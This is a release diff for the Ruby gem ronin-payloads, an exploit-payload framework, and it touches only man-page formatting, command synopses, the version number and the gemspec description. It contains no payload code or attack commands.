 .TH ronin-payloads-encoders 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads encoders\fR \[lB]\fIoptions\fP\[rB] \fIDIR\fP
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-irb.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-irb 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads irb\fR \[lB]\fIoptions\fP\[rB]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-launch.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-launch 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads launch\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--file\fR \fIFILE\fP \[or] \fINAME\fP\[rC]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-list.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-list 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads list\fR \[lB]\fIoptions\fP\[rB] \fIDIR\fP
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-new.1.md

@@ -2,7 +2,7 @@
 
 ## SYNOPSIS
 
-`ronin-payloads new` [*options*] *FILE*
+`ronin-payloads new` [*options*] *PATH*
 
 ## DESCRIPTION
 
@@ -10,7 +10,7 @@ Generates a new payload file.
 
 ## ARGUMENTS
 
-*FILE*
+*PATH*
   The path to the new payload file to generate.
 
 ## OPTIONS

data/man/ronin-payloads-show.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-show 1 "May 2022" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads show\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--file\fR \fIFILE\fP \[or] \fINAME\fP\[rC]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads.1

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads\fR \[lB]\fIoptions\fP\[rB] \[lB]\fICOMMAND\fP \[lB]\.\.\.\[rB]\[rB]
 .LP
 .SH DESCRIPTION

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: ronin-payloads
 version: !ruby/object:Gem::Version
-  version: 0.1.4
+  version: 0.1.6
 platform: ruby
 authors:
 - Postmodern
 autorequire:
 bindir: bin
 cert_chain: []
-date: 2023-09-19 00:00:00.000000000 Z
+date: 2024-07-03 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: ronin-support
@@ -94,10 +94,9 @@ dependencies:
     - - "~>"
       - !ruby/object:Gem::Version
         version: '2.0'
-description: ronin-payloads is a Ruby micro-framework for writing and running exploit
-  payloads. ronin-payloads allows one to write payloads as plain old Ruby classes.
-  ronin-payloads can be distributed as Ruby files or in git repositories that can
-  be installed with ronin-repos.
+description: |-
+  ronin-payloads is a Ruby micro-framework for writing and running exploit payloads. ronin-payloads allows one to write payloads as plain old Ruby classes. ronin-payloads can be distributed as Ruby files or in git repositories that can be installed with ronin-repos.
+  It's like `msfvenom` but simpler and more modular.
 email: postmodern.mod3@gmail.com
 executables:
 - ronin-payloads
@@ -284,7 +283,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
     - !ruby/object:Gem::Version
       version: '0'
 requirements: []
-rubygems_version: 3.3.26
+rubygems_version: 3.3.27
 signing_key:
 specification_version: 4
 summary: A Ruby micro-framework for writing and running exploit payloads